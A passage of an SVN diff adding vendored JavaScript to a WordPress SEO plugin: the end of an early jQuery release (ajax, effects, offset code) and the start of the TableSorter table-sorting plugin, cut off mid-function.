+		if ( s.global )
+			jQuery.event.trigger( "ajaxError", [xml, s, e] );
+	},
+
+	// Counter for holding the number of active queries
+	active: 0,
+
+	// Determines if an XMLHttpRequest was successful or not
+	httpSuccess: function( r ) {
+		try {
+			// IE error sometimes returns 1223 when it should be 204 so treat it as success, see #1450
+			return !r.status && location.protocol == "file:" ||
+				( r.status >= 200 && r.status < 300 ) || r.status == 304 || r.status == 1223 ||
+				jQuery.browser.safari && r.status == undefined;
+		} catch(e){}
+		return false;
+	},
+
+	// Determines if an XMLHttpRequest returns NotModified
+	httpNotModified: function( xml, url ) {
+		try {
+			var xmlRes = xml.getResponseHeader("Last-Modified");
+
+			// Firefox always returns 200. check Last-Modified date
+			return xml.status == 304 || xmlRes == jQuery.lastModified[url] ||
+				jQuery.browser.safari && xml.status == undefined;
+		} catch(e){}
+		return false;
+	},
+
+	httpData: function( r, type ) {
+		var ct = r.getResponseHeader("content-type");
+		var xml = type == "xml" || !type && ct && ct.indexOf("xml") >= 0;
+		var data = xml ? r.responseXML : r.responseText;
+
+		if ( xml && data.documentElement.tagName == "parsererror" )
+			throw "parsererror";
+
+		// If the type is "script", eval it in global context
+		if ( type == "script" )
+			jQuery.globalEval( data );
+
+		// Get the JavaScript object, if JSON is used.
+		if ( type == "json" )
+			data = eval("(" + data + ")");
+
+		return data;
+	},
+
+	// Serialize an array of form elements or a set of
+	// key/values into a query string
+	param: function( a ) {
+		var s = [];
+
+		// If an array was passed in, assume that it is an array
+		// of form elements
+		if ( a.constructor == Array || a.jquery )
+			// Serialize the form elements
+			jQuery.each( a, function(){
+				s.push( encodeURIComponent(this.name) + "=" + encodeURIComponent( this.value ) );
+			});
+
+		// Otherwise, assume that it's an object of key/value pairs
+		else
+			// Serialize the key/values
+			for ( var j in a )
+				// If the value is an array then the key names need to be repeated
+				if ( a[j] && a[j].constructor == Array )
+					jQuery.each( a[j], function(){
+						s.push( encodeURIComponent(j) + "=" + encodeURIComponent( this ) );
+					});
+				else
+					s.push( encodeURIComponent(j) + "=" + encodeURIComponent( a[j] ) );
+
+		// Return the resulting serialization
+		return s.join("&").replace(/%20/g, "+");
+	}
+
+});
+jQuery.fn.extend({
+	show: function(speed,callback){
+		return speed ?
+			this.animate({
+				height: "show", width: "show", opacity: "show"
+			}, speed, callback) :
+			
+			this.filter(":hidden").each(function(){
+				this.style.display = this.oldblock || "";
+				if ( jQuery.css(this,"display") == "none" ) {
+					var elem = jQuery("<" + this.tagName + " />").appendTo("body");
+					this.style.display = elem.css("display");
+					// handle an edge condition where css is - div { display:none; } or similar
+					if (this.style.display == "none")
+						this.style.display = "block";
+					elem.remove();
+				}
+			}).end();
+	},
+	
+	hide: function(speed,callback){
+		return speed ?
+			this.animate({
+				height: "hide", width: "hide", opacity: "hide"
+			}, speed, callback) :
+			
+			this.filter(":visible").each(function(){
+				this.oldblock = this.oldblock || jQuery.css(this,"display");
+				this.style.display = "none";
+			}).end();
+	},
+
+	// Save the old toggle function
+	_toggle: jQuery.fn.toggle,
+	
+	toggle: function( fn, fn2 ){
+		return jQuery.isFunction(fn) && jQuery.isFunction(fn2) ?
+			this._toggle( fn, fn2 ) :
+			fn ?
+				this.animate({
+					height: "toggle", width: "toggle", opacity: "toggle"
+				}, fn, fn2) :
+				this.each(function(){
+					jQuery(this)[ jQuery(this).is(":hidden") ? "show" : "hide" ]();
+				});
+	},
+	
+	slideDown: function(speed,callback){
+		return this.animate({height: "show"}, speed, callback);
+	},
+	
+	slideUp: function(speed,callback){
+		return this.animate({height: "hide"}, speed, callback);
+	},
+
+	slideToggle: function(speed, callback){
+		return this.animate({height: "toggle"}, speed, callback);
+	},
+	
+	fadeIn: function(speed, callback){
+		return this.animate({opacity: "show"}, speed, callback);
+	},
+	
+	fadeOut: function(speed, callback){
+		return this.animate({opacity: "hide"}, speed, callback);
+	},
+	
+	fadeTo: function(speed,to,callback){
+		return this.animate({opacity: to}, speed, callback);
+	},
+	
+	animate: function( prop, speed, easing, callback ) {
+		var optall = jQuery.speed(speed, easing, callback);
+
+		return this[ optall.queue === false ? "each" : "queue" ](function(){
+			if ( this.nodeType != 1)
+				return false;
+
+			var opt = jQuery.extend({}, optall);
+			var hidden = jQuery(this).is(":hidden"), self = this;
+			
+			for ( var p in prop ) {
+				if ( prop[p] == "hide" && hidden || prop[p] == "show" && !hidden )
+					return jQuery.isFunction(opt.complete) && opt.complete.apply(this);
+
+				if ( p == "height" || p == "width" ) {
+					// Store display property
+					opt.display = jQuery.css(this, "display");
+
+					// Make sure that nothing sneaks out
+					opt.overflow = this.style.overflow;
+				}
+			}
+
+			if ( opt.overflow != null )
+				this.style.overflow = "hidden";
+
+			opt.curAnim = jQuery.extend({}, prop);
+			
+			jQuery.each( prop, function(name, val){
+				var e = new jQuery.fx( self, opt, name );
+
+				if ( /toggle|show|hide/.test(val) )
+					e[ val == "toggle" ? hidden ? "show" : "hide" : val ]( prop );
+				else {
+					var parts = val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),
+						start = e.cur(true) || 0;
+
+					if ( parts ) {
+						var end = parseFloat(parts[2]),
+							unit = parts[3] || "px";
+
+						// We need to compute starting value
+						if ( unit != "px" ) {
+							self.style[ name ] = (end || 1) + unit;
+							start = ((end || 1) / e.cur(true)) * start;
+							self.style[ name ] = start + unit;
+						}
+
+						// If a +=/-= token was provided, we're doing a relative animation
+						if ( parts[1] )
+							end = ((parts[1] == "-=" ? -1 : 1) * end) + start;
+
+						e.custom( start, end, unit );
+					} else
+						e.custom( start, val, "" );
+				}
+			});
+
+			// For JS strict compliance
+			return true;
+		});
+	},
+	
+	queue: function(type, fn){
+		if ( jQuery.isFunction(type) || ( type && type.constructor == Array )) {
+			fn = type;
+			type = "fx";
+		}
+
+		if ( !type || (typeof type == "string" && !fn) )
+			return queue( this[0], type );
+
+		return this.each(function(){
+			if ( fn.constructor == Array )
+				queue(this, type, fn);
+			else {
+				queue(this, type).push( fn );
+			
+				if ( queue(this, type).length == 1 )
+					fn.apply(this);
+			}
+		});
+	},
+
+	stop: function(clearQueue, gotoEnd){
+		var timers = jQuery.timers;
+
+		if (clearQueue)
+			this.queue([]);
+
+		this.each(function(){
+			// go in reverse order so anything added to the queue during the loop is ignored
+			for ( var i = timers.length - 1; i >= 0; i-- )
+				if ( timers[i].elem == this ) {
+					if (gotoEnd)
+						// force the next step to be the last
+						timers[i](true);
+					timers.splice(i, 1);
+				}
+		});
+
+		// start the next in the queue if the last step wasn't forced
+		if (!gotoEnd)
+			this.dequeue();
+
+		return this;
+	}
+
+});
+
+var queue = function( elem, type, array ) {
+	if ( !elem )
+		return undefined;
+
+	type = type || "fx";
+
+	var q = jQuery.data( elem, type + "queue" );
+
+	if ( !q || array )
+		q = jQuery.data( elem, type + "queue", 
+			array ? jQuery.makeArray(array) : [] );
+
+	return q;
+};
+
+jQuery.fn.dequeue = function(type){
+	type = type || "fx";
+
+	return this.each(function(){
+		var q = queue(this, type);
+
+		q.shift();
+
+		if ( q.length )
+			q[0].apply( this );
+	});
+};
+
+jQuery.extend({
+	
+	speed: function(speed, easing, fn) {
+		var opt = speed && speed.constructor == Object ? speed : {
+			complete: fn || !fn && easing || 
+				jQuery.isFunction( speed ) && speed,
+			duration: speed,
+			easing: fn && easing || easing && easing.constructor != Function && easing
+		};
+
+		opt.duration = (opt.duration && opt.duration.constructor == Number ? 
+			opt.duration : 
+			{ slow: 600, fast: 200 }[opt.duration]) || 400;
+	
+		// Queueing
+		opt.old = opt.complete;
+		opt.complete = function(){
+			if ( opt.queue !== false )
+				jQuery(this).dequeue();
+			if ( jQuery.isFunction( opt.old ) )
+				opt.old.apply( this );
+		};
+	
+		return opt;
+	},
+	
+	easing: {
+		linear: function( p, n, firstNum, diff ) {
+			return firstNum + diff * p;
+		},
+		swing: function( p, n, firstNum, diff ) {
+			return ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;
+		}
+	},
+	
+	timers: [],
+	timerId: null,
+
+	fx: function( elem, options, prop ){
+		this.options = options;
+		this.elem = elem;
+		this.prop = prop;
+
+		if ( !options.orig )
+			options.orig = {};
+	}
+
+});
+
+jQuery.fx.prototype = {
+
+	// Simple function for setting a style value
+	update: function(){
+		if ( this.options.step )
+			this.options.step.apply( this.elem, [ this.now, this ] );
+
+		(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );
+
+		// Set display property to block for height/width animations
+		if ( this.prop == "height" || this.prop == "width" )
+			this.elem.style.display = "block";
+	},
+
+	// Get the current size
+	cur: function(force){
+		if ( this.elem[this.prop] != null && this.elem.style[this.prop] == null )
+			return this.elem[ this.prop ];
+
+		var r = parseFloat(jQuery.css(this.elem, this.prop, force));
+		return r && r > -10000 ? r : parseFloat(jQuery.curCSS(this.elem, this.prop)) || 0;
+	},
+
+	// Start an animation from one number to another
+	custom: function(from, to, unit){
+		this.startTime = (new Date()).getTime();
+		this.start = from;
+		this.end = to;
+		this.unit = unit || this.unit || "px";
+		this.now = this.start;
+		this.pos = this.state = 0;
+		this.update();
+
+		var self = this;
+		function t(gotoEnd){
+			return self.step(gotoEnd);
+		}
+
+		t.elem = this.elem;
+
+		jQuery.timers.push(t);
+
+		if ( jQuery.timerId == null ) {
+			jQuery.timerId = setInterval(function(){
+				var timers = jQuery.timers;
+				
+				for ( var i = 0; i < timers.length; i++ )
+					if ( !timers[i]() )
+						timers.splice(i--, 1);
+
+				if ( !timers.length ) {
+					clearInterval( jQuery.timerId );
+					jQuery.timerId = null;
+				}
+			}, 13);
+		}
+	},
+
+	// Simple 'show' function
+	show: function(){
+		// Remember where we started, so that we can go back to it later
+		this.options.orig[this.prop] = jQuery.attr( this.elem.style, this.prop );
+		this.options.show = true;
+
+		// Begin the animation
+		this.custom(0, this.cur());
+
+		// Make sure that we start at a small width/height to avoid any
+		// flash of content
+		if ( this.prop == "width" || this.prop == "height" )
+			this.elem.style[this.prop] = "1px";
+		
+		// Start by showing the element
+		jQuery(this.elem).show();
+	},
+
+	// Simple 'hide' function
+	hide: function(){
+		// Remember where we started, so that we can go back to it later
+		this.options.orig[this.prop] = jQuery.attr( this.elem.style, this.prop );
+		this.options.hide = true;
+
+		// Begin the animation
+		this.custom(this.cur(), 0);
+	},
+
+	// Each step of an animation
+	step: function(gotoEnd){
+		var t = (new Date()).getTime();
+
+		if ( gotoEnd || t > this.options.duration + this.startTime ) {
+			this.now = this.end;
+			this.pos = this.state = 1;
+			this.update();
+
+			this.options.curAnim[ this.prop ] = true;
+
+			var done = true;
+			for ( var i in this.options.curAnim )
+				if ( this.options.curAnim[i] !== true )
+					done = false;
+
+			if ( done ) {
+				if ( this.options.display != null ) {
+					// Reset the overflow
+					this.elem.style.overflow = this.options.overflow;
+				
+					// Reset the display
+					this.elem.style.display = this.options.display;
+					if ( jQuery.css(this.elem, "display") == "none" )
+						this.elem.style.display = "block";
+				}
+
+				// Hide the element if the "hide" operation was done
+				if ( this.options.hide )
+					this.elem.style.display = "none";
+
+				// Reset the properties, if the item has been hidden or shown
+				if ( this.options.hide || this.options.show )
+					for ( var p in this.options.curAnim )
+						jQuery.attr(this.elem.style, p, this.options.orig[p]);
+			}
+
+			// If a callback was provided, execute it
+			if ( done && jQuery.isFunction( this.options.complete ) )
+				// Execute the complete function
+				this.options.complete.apply( this.elem );
+
+			return false;
+		} else {
+			var n = t - this.startTime;
+			this.state = n / this.options.duration;
+
+			// Perform the easing function, defaults to swing
+			this.pos = jQuery.easing[this.options.easing || (jQuery.easing.swing ? "swing" : "linear")](this.state, n, 0, 1, this.options.duration);
+			this.now = this.start + ((this.end - this.start) * this.pos);
+
+			// Perform the next step of the animation
+			this.update();
+		}
+
+		return true;
+	}
+
+};
+
+jQuery.fx.step = {
+	scrollLeft: function(fx){
+		fx.elem.scrollLeft = fx.now;
+	},
+
+	scrollTop: function(fx){
+		fx.elem.scrollTop = fx.now;
+	},
+
+	opacity: function(fx){
+		jQuery.attr(fx.elem.style, "opacity", fx.now);
+	},
+
+	_default: function(fx){
+		fx.elem.style[ fx.prop ] = fx.now + fx.unit;
+	}
+};
+// The Offset Method
+// Originally By Brandon Aaron, part of the Dimension Plugin
+// http://jquery.com/plugins/project/dimensions
+jQuery.fn.offset = function() {
+	var left = 0, top = 0, elem = this[0], results;
+	
+	if ( elem ) with ( jQuery.browser ) {
+		var parent       = elem.parentNode, 
+		    offsetChild  = elem,
+		    offsetParent = elem.offsetParent, 
+		    doc          = elem.ownerDocument,
+		    safari2      = safari && parseInt(version) < 522 && !/adobeair/i.test(userAgent),
+		    fixed        = jQuery.css(elem, "position") == "fixed";
+	
+		// Use getBoundingClientRect if available
+		if ( elem.getBoundingClientRect ) {
+			var box = elem.getBoundingClientRect();
+		
+			// Add the document scroll offsets
+			add(box.left + Math.max(doc.documentElement.scrollLeft, doc.body.scrollLeft),
+				box.top  + Math.max(doc.documentElement.scrollTop,  doc.body.scrollTop));
+		
+			// IE adds the HTML element's border, by default it is medium which is 2px
+			// IE 6 and 7 quirks mode the border width is overwritable by the following css html { border: 0; }
+			// IE 7 standards mode, the border is always 2px
+			// This border/offset is typically represented by the clientLeft and clientTop properties
+			// However, in IE6 and 7 quirks mode the clientLeft and clientTop properties are not updated when overwriting it via CSS
+			// Therefore this method will be off by 2px in IE while in quirksmode
+			add( -doc.documentElement.clientLeft, -doc.documentElement.clientTop );
+	
+		// Otherwise loop through the offsetParents and parentNodes
+		} else {
+		
+			// Initial element offsets
+			add( elem.offsetLeft, elem.offsetTop );
+			
+			// Get parent offsets
+			while ( offsetParent ) {
+				// Add offsetParent offsets
+				add( offsetParent.offsetLeft, offsetParent.offsetTop );
+			
+				// Mozilla and Safari > 2 does not include the border on offset parents
+				// However Mozilla adds the border for table or table cells
+				if ( mozilla && !/^t(able|d|h)$/i.test(offsetParent.tagName) || safari && !safari2 )
+					border( offsetParent );
+					
+				// Add the document scroll offsets if position is fixed on any offsetParent
+				if ( !fixed && jQuery.css(offsetParent, "position") == "fixed" )
+					fixed = true;
+			
+				// Set offsetChild to previous offsetParent unless it is the body element
+				offsetChild  = /^body$/i.test(offsetParent.tagName) ? offsetChild : offsetParent;
+				// Get next offsetParent
+				offsetParent = offsetParent.offsetParent;
+			}
+		
+			// Get parent scroll offsets
+			while ( parent && parent.tagName && !/^body|html$/i.test(parent.tagName) ) {
+				// Remove parent scroll UNLESS that parent is inline or a table to work around Opera inline/table scrollLeft/Top bug
+				if ( !/^inline|table.*$/i.test(jQuery.css(parent, "display")) )
+					// Subtract parent scroll offsets
+					add( -parent.scrollLeft, -parent.scrollTop );
+			
+				// Mozilla does not add the border for a parent that has overflow != visible
+				if ( mozilla && jQuery.css(parent, "overflow") != "visible" )
+					border( parent );
+			
+				// Get next parent
+				parent = parent.parentNode;
+			}
+		
+			// Safari <= 2 doubles body offsets with a fixed position element/offsetParent or absolutely positioned offsetChild
+			// Mozilla doubles body offsets with a non-absolutely positioned offsetChild
+			if ( (safari2 && (fixed || jQuery.css(offsetChild, "position") == "absolute")) || 
+				(mozilla && jQuery.css(offsetChild, "position") != "absolute") )
+					add( -doc.body.offsetLeft, -doc.body.offsetTop );
+			
+			// Add the document scroll offsets if position is fixed
+			if ( fixed )
+				add(Math.max(doc.documentElement.scrollLeft, doc.body.scrollLeft),
+					Math.max(doc.documentElement.scrollTop,  doc.body.scrollTop));
+		}
+
+		// Return an object with top and left properties
+		results = { top: top, left: left };
+	}
+
+	function border(elem) {
+		add( jQuery.curCSS(elem, "borderLeftWidth", true), jQuery.curCSS(elem, "borderTopWidth", true) );
+	}
+
+	function add(l, t) {
+		left += parseInt(l) || 0;
+		top += parseInt(t) || 0;
+	}
+
+	return results;
+};
+})();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.js	(revision 44)
@@ -0,0 +1,557 @@
+/*
+ *
+ * TableSorter - Client-side table sorting with ease!
+ *
+ * Copyright (c) 2006 Christian Bach (http://motherrussia.polyester.se)
+ * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
+ * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
+ *
+ * jQueryDate: 
+ * jQueryAuthor: Christian jQuery
+ *
+ */
+(function($) {
+
+	$.fn.tableSorter = function(o) {
+	
+		var defaults =  {
+			sortDir: 0,
+			sortColumn: null,
+			sortClassAsc: 'ascending',
+			sortClassDesc: 'descending',
+			headerClass: null,
+			stripingRowClass: false,
+			highlightClass: false,
+			rowLimit: 0,
+			minRowsForWaitingMsg: 0,
+			disableHeader: -1,
+			stripeRowsOnStartUp: false,
+			columnParser: false,
+			rowHighlightClass: false,
+			useCache: true,
+			debug: false,
+			textExtraction: 'simple',
+			textExtractionCustom: false,
+			textExtractionType: false,
+			bind: true,
+			addHeaderLink: false,
+			lockedSortDir: false,
+			enableResize: false,
+			dateFormat: 'mm/dd/yyyy' /** us default, uk dd/mm/yyyy */
+		};
+	 
+		return this.each(function(){
+			
+			/** merge default with custom options */
+			$.extend(defaults, o);
+	
+			/** Private vars */
+			var COLUMN_DATA;			/** array for storing columns */
+			var COLUMN_CACHE;			/** array for storing sort caches.*/
+			var COLUMN_INDEX;				/** int for storing current cell index */
+			var COLUMN_SORTER_CACHE = [];	/** array for sorter parser cache */
+			var COLUMN_CELL;				/** stores the current cell object */
+			var COLUMN_DIR;					/** stores the current soring direction */
+			var COLUMN_HEADER_LENGTH;		/** stores the columns header length */
+			var COLUMN_ROW_LENGTH;
+			var ROW_LAST_HIGHLIGHT_OBJ = false;
+			var COLUMN_LAST_INDEX = -1;
+			var COLUMN_LAST_DIR = defaults.sortDir;
+			
+			/** table object holder.*/
+			var oTable = this;
+	
+			if(defaults.stripeRowsOnStartUp && defaults.stripingRowClass) {
+				$.tableSorter.utils.stripeRows(defaults,oTable);
+			}
+			
+			/** bind events to the tablesorter element */
+			$(this).bind("resort",doSorting);
+			
+			$(this).bind("flushCache",function(event) {
+				COLUMN_CACHE = [];
+			});
+			
+			$(this).bind("updateColumnData",buildColumnDataIndex);
+			
+			/** Store length of table rows. */
+			var tableRowLength = (oTable.tBodies[0] && oTable.tBodies[0].rows.length-1) || 0;
+	
+			/** Index column data. */
+			buildColumnDataIndex();
+			
+			/** when done, build headers. */
+			buildColumnHeaders();
+	
+			function buildColumnHeaders() {
+				var oFirstTableRow = oTable.rows[0];
+				var oDataSampleRow = oTable.rows[1];
+				/** store column length */
+				COLUMN_HEADER_LENGTH = oFirstTableRow.cells.length;
+				/** loop column headers */
+				for( var i=0; i < COLUMN_HEADER_LENGTH; i++ ) {
+					var oCell = oFirstTableRow.cells[i];
+	
+					if(oDataSampleRow && !$.tableSorter.utils.isHeaderDisabled(defaults,oCell,defaults.disableHeader,i)) {
+						/** get current cell from columns headers */
+						var oCellValue = $.tableSorter.utils.getElementText(defaults,oDataSampleRow.cells[i],'columns',i);
+						/** check for default column. */
+						if(typeof(defaults.sortColumn) == "string") {
+							if(defaults.sortColumn.toLowerCase() == $.tableSorter.utils.getElementText(defaults,oCell,'header',i).toLowerCase()) {
+								defaults.sortColumn = i;
+							}
+						}
+	
+						/** get sorting method for column. */
+						COLUMN_SORTER_CACHE[i] = $.tableSorter.analyzer.analyseString(defaults,oCellValue);
+						
+						/** if we have a column parser, set it manual. */
+						if(defaults.columnParser) {
+							var a = defaults.columnParser;
+							var l = a.length;
+							for(var j=0; j < l; j++) {
+								if(i == a[j][0]) {
+									COLUMN_SORTER_CACHE[i] = $.tableSorter.analyzer.getById(a[j][1]);
+									continue;
+								}
+							}
+						}
+	
+						if(defaults.headerClass) {
+							$(oCell).addClass(defaults.headerClass);
+						}
+						if(defaults.addHeaderLink) {
+							$(oCell).wrapInner({element: '<a href="#">', name: 'a', className: 'sorter'});
+	
+							$(".sorter",oCell).click(function(e) {
+								sortOnColumn( $(this).parent(), ((defaults.lockedSortDir) ? defaults.lockedSortDir : $(this).parent()[0].count++) % 2, $(this).parent()[0].index );
+								return false;
+							});
+						} else {
+							$(oCell).click(function(e) {
+								sortOnColumn( $(this), ((defaults.lockedSortDir) ? defaults.lockedSortDir : $(this)[0].count++) % 2, $(this)[0].index );
+								return false;
+							});
+						}
+						oCell.index = i;
+						oCell.count = 0;
+					}
+				}
+				/** comming feature. */
+				if(defaults.enableResize) {
+					addColGroup(oFirstTableRow);
+				}
+				/** if we have a init sorting, fire it! */
+				if(defaults.sortColumn != null) {
+					$(oFirstTableRow.cells[defaults.sortColumn]).trigger("click");
+				}
+	
+				if(defaults.rowHighlightClass) {
+					$("> tbody:first/tr",oTable).click(function() {
+						if(ROW_LAST_HIGHLIGHT_OBJ) {
+							ROW_LAST_HIGHLIGHT_OBJ.removeClass(defaults.rowHighlightClass);
+						}
+						ROW_LAST_HIGHLIGHT_OBJ = $(this).addClass(defaults.rowHighlightClass);
+					});
+				}
+			}
+			/** break out and put i $.tableSorter? */
+			function buildColumnDataIndex() {
+				/** make colum data. */
+				COLUMN_DATA = [];
+				COLUMN_CACHE = [];
+				COLUMN_ROW_LENGTH = (oTable.tBodies[0] && oTable.tBodies[0].rows.length) || 0;
+				var l = COLUMN_ROW_LENGTH;
+				for (var i=0;i < l; i++) {
+					/** Add the table data to main data array */
+					COLUMN_DATA.push(oTable.tBodies[0].rows[i]);
+				}
+			}
+				
+			function addColGroup(columnsHeader) {
+				var oSampleTableRow = oTable.rows[1];
+				/** adjust header to the sample rows */
+				for(var i=0; i < COLUMN_HEADER_LENGTH; i++) {
+					if(oSampleTableRow && oSampleTableRow.cells[i])
+						$(columnsHeader.cells[i]).css("width",oSampleTableRow.cells[i].clientWidth + "px");
+				}
+			}
+			
+			function sortOnColumn(oCell,dir,index) {
+				/** trigger event sort start. */
+				if(tableRowLength > defaults.minRowsForWaitingMsg) {
+					$(oTable).trigger( "sortStart");
+				}
+				/** define globals for current sorting. */
+				COLUMN_INDEX = index;
+				COLUMN_CELL = oCell;
+				COLUMN_DIR = dir;
+				/** clear all classes, need to be optimized. */
+				$("thead th",oTable).removeClass(defaults.sortClassAsc).removeClass(defaults.sortClassDesc);
+				/**add active class and append image. */
+				$(COLUMN_CELL).addClass((dir % 2 ? defaults.sortClassAsc : defaults.sortClassDesc));
+				/** if this is fired, with a straight call, sortStart / Stop would never be fired. */
+				setTimeout(doSorting,0);
+			}
+			
+			function doSorting() {
+				/** added check to see if COLUMN_INDEX is set */
+				if(COLUMN_INDEX >= 0) {
+					/** array for storing sorted data. */
+					var columns;
+					/** sorting exist in cache, get it. */
+					if($.tableSorter.cache.exist(COLUMN_CACHE,COLUMN_INDEX) && defaults.useCache) {
+						/** get from cache */
+						var cache = $.tableSorter.cache.get(COLUMN_CACHE,COLUMN_INDEX);
+						/** figure out the way to sort. */
+						if(cache.dir == COLUMN_DIR) {
+							columns = cache.data;
+							cache.dir = COLUMN_DIR;
+						} else {
+							columns = cache.data.reverse();
+							cache.dir = COLUMN_DIR;
+						}
+					/** sort and cache */
+					} else {
+						/** return flat data, and then sort it. */
+						var flatData = $.tableSorter.data.flatten(defaults,COLUMN_DATA,COLUMN_SORTER_CACHE,COLUMN_INDEX);
+						/** do sorting, only onces per column. */
+						flatData.sort(COLUMN_SORTER_CACHE[COLUMN_INDEX].sorter);
+						/** if we have a sortDir, reverse the damn thing. */
+						if(COLUMN_LAST_DIR != COLUMN_DIR) {
+							flatData.reverse();
+						}
+						/** rebuild data from flat. */
+						columns = $.tableSorter.data.rebuild(COLUMN_DATA,flatData,COLUMN_INDEX,COLUMN_LAST_INDEX);
+						/** append to table cache. */
+						$.tableSorter.cache.add(COLUMN_CACHE,COLUMN_INDEX,COLUMN_DIR,columns);
+						/** good practise */
+						flatData = null;
+					}
+					/** append to table > tbody */
+					$.tableSorter.utils.appendToTable(defaults,oTable,columns,COLUMN_INDEX,COLUMN_LAST_INDEX);
+					/** good practise i guess */
+					columns = null;
+					/** trigger stop event. */
+					if(tableRowLength > defaults.minRowsForWaitingMsg) {
+						$(oTable).trigger("sortStop",[COLUMN_INDEX]);
+					}
+					COLUMN_LAST_INDEX = COLUMN_INDEX;
+				}
+			}
+		});
+	};
+	$.fn.sortStart = function(fn) {
+		return this.bind("sortStart",fn);
+	};
+	$.fn.sortReload = function(fn) {
+		return this.bind("sortStart",fn);
+	};
+	$.fn.sortStop = function(fn) {
+		return this.bind("sortStop",fn);
+	};
+	$.tableSorter = {
+		params: {},
+		/** cache functions, okey for now. */
+		cache: {
+			add: function(cache,index,dir,data) {
+				var oCache = {};
+				oCache.dir = dir;
+				oCache.data = data;
+				cache[index] = oCache;
+			},
+			get: function (cache,index) {
+				return cache[index];
+			},
+			exist: function(cache,index) {
+				var oCache = cache[index];
+				if(!oCache) {
+					return false
+				} else {
+					return true
+				}
+			},
+			clear: function(cache) {
+				cache = [];
+			}
+		},
+		data: {
+			flatten: function(defaults,columnData,columnCache,columnIndex) {
+				var flatData = [];
+				var l = columnData.length;
+				for (var i=0;i < l; i++) {
+					flatData.push([i,columnCache[columnIndex].format($.tableSorter.utils.getElementText(defaults,columnData[i].cells[columnIndex],'columns',columnIndex),defaults)]);
+				}
+				return flatData;
+			},
+			rebuild: function(columnData,flatData,columnIndex,columnLastIndex) {
+				var l = flatData.length;
+				var sortedData = [];
+				for (var i=0;i < l; i++) {
+					sortedData.push(columnData[flatData[i][0]]);
+				}
+				return sortedData;
+			}
+		},
+		sorters: {},
+		parsers: {},
+		analyzer: {
+			analyzers: [],
+			add: function(analyzer) {
+				this.analyzers.push(analyzer);
+			},
+			add_to_front: function(analyzer) {
+				this.analyzers.unshift(analyzer);
+			},
+			analyseString: function(defaults,s) {
+				/** set defaults params. */
+				var found = false;
+				var analyzer = $.tableSorter.parsers.generic;
+				var list = this.analyzers;
+				$.each(list, function(i) {
+					if(!found) {
+						if(list[i].is(s)) {
+							found = true;
+							analyzer = list[i];
+						}
+					}
+				});
+				return analyzer;
+				
+			},
+			getById: function(s) {
+				var list = this.analyzers;
+				var analyzer = $.tableSorter.parsers.generic;
+				$.each(list, function(i) {
+					if(list[i].id == s) {
+						analyzer = list[i];
+					}
+				});
+				return analyzer;
+			}
+		},
+		utils: {
+			getElementText: function(defaults,o,type,index) {
+				if(!o) return "";
+				var elementText = "";
+				if(type == 'header') {
+					elementText = $(o).text();
+				} else if(type == 'columns') {
+					if(defaults.textExtractionCustom && typeof(defaults.textExtractionCustom[index]) == "function") {
+						elementText = defaults.textExtractionCustom[index](o);
+					} else {
+						if(defaults.textExtraction == 'simple') {
+							if(typeof(defaults.textExtractionType) == "object") {
+								var d = defaults.textExtractionType;
+								$.each(d,function(i) {
+									var val = o[d[i]];		
+									if(val && val.length > 0) {
+										elementText = val;
+									}
+								});
+							} else {
+								if(o.childNodes[0] && o.childNodes[0].hasChildNodes()) {
+									elementText = o.childNodes[0].innerHTML;
+								} else {
+									elementText = o.innerHTML;
+								}
+							}
+						} else if(defaults.textExtraction == 'complex') {
+							// make a jquery object, this will take forever with large tables.
+							elementText = $(o).text();
+						}
+					}
+				}
+				return elementText;
+			},
+			formatFloat: function(s) {
+				var i = parseFloat(s);
+				return (isNaN(i)) ? 0 : i;
+			},
+			appendToTable: function(defaults,o,c,index,lastIndex) {
+				var l = c.length;
+				$("> tbody:first",o).empty().append(c);
+				/** jquery way, need to be benched mark! */
+				if(defaults.stripingRowClass) {
+					/** remove old! */
+					$("> tbody:first/tr",o).removeClass(defaults.stripingRowClass[0]).removeClass(defaults.stripingRowClass[1]);
+					/** add new! */
+					$.tableSorter.utils.stripeRows(defaults,o);
+				}
+				if(defaults.highlightClass) {
+					$.tableSorter.utils.highlightColumn(defaults,o,index,lastIndex);
+				}
+				
+				/** empty object, good practice! */
+				c=null;
+			},
+			highlightColumn : function(defaults,o,index, lastIndex) {
+				$("> tbody:first/tr", o).find("td:eq(" + lastIndex+ ")").removeClass(defaults.highlightClass);
+				$("> tbody:first/tr", o).find("td:eq(" + index + ")").addClass(defaults.highlightClass);
+			},
+			stripeRows: function(defaults,o) {
+				$("> tbody:first/tr:visible:even",o).addClass(defaults.stripingRowClass[0]);
+				$("> tbody:first/tr:visible:odd",o).addClass(defaults.stripingRowClass[1]);
+			},
+			isHeaderDisabled: function(defaults,o,arg,index) {
+				if(typeof(arg) == "number") {
+					return (arg == index)? true : false;
+				} else if(typeof(arg) == "string") {
+					return (arg.toLowerCase() == $.tableSorter.utils.getElementText(defaults,o,'header',index).toLowerCase()) ? true : false;
+				} else if(arg.parentNode) {
+	       			return (o == arg) ? true : false
+				} else if(typeof(arg) == "object") {
+					var l = arg.length;
+					if(!this.lastFound) { this.lastFound = -1; }
+					for(var i=0; i < l; i++) {
+						var val = $.tableSorter.utils.isHeaderDisabled(defaults,o,arg[i],index);
+						if(this.lastFound != i && val) {
+							this.lastFound = i;
+							return val;
+						}
+					}
+				} else {
+					return false
+				}
+			}
+		},
+		sorters: {
+			generic: function(a,b) {
+				return ((a[1] < b[1]) ? -1 : ((a[1] > b[1]) ? 1 : 0));
+	 		},
+	 		numeric: function(a,b) {
+				return a[1]-b[1];
+			}
+		}
+	};
+	$.tableSorter.parsers.generic = {
+		id: 'generic',
+		is: function(s) {
+			return true;
+		},
+		format: function(s) {
+			return jQuery.trim(s.toLowerCase());
+		},
+		sorter: $.tableSorter.sorters.generic
+	};
+	$.tableSorter.parsers.currency = {
+		id: 'currency',
+		is: function(s) {
+			return s.match(new RegExp(/^[£$?.]/g));
+		},
+		format: function(s) {
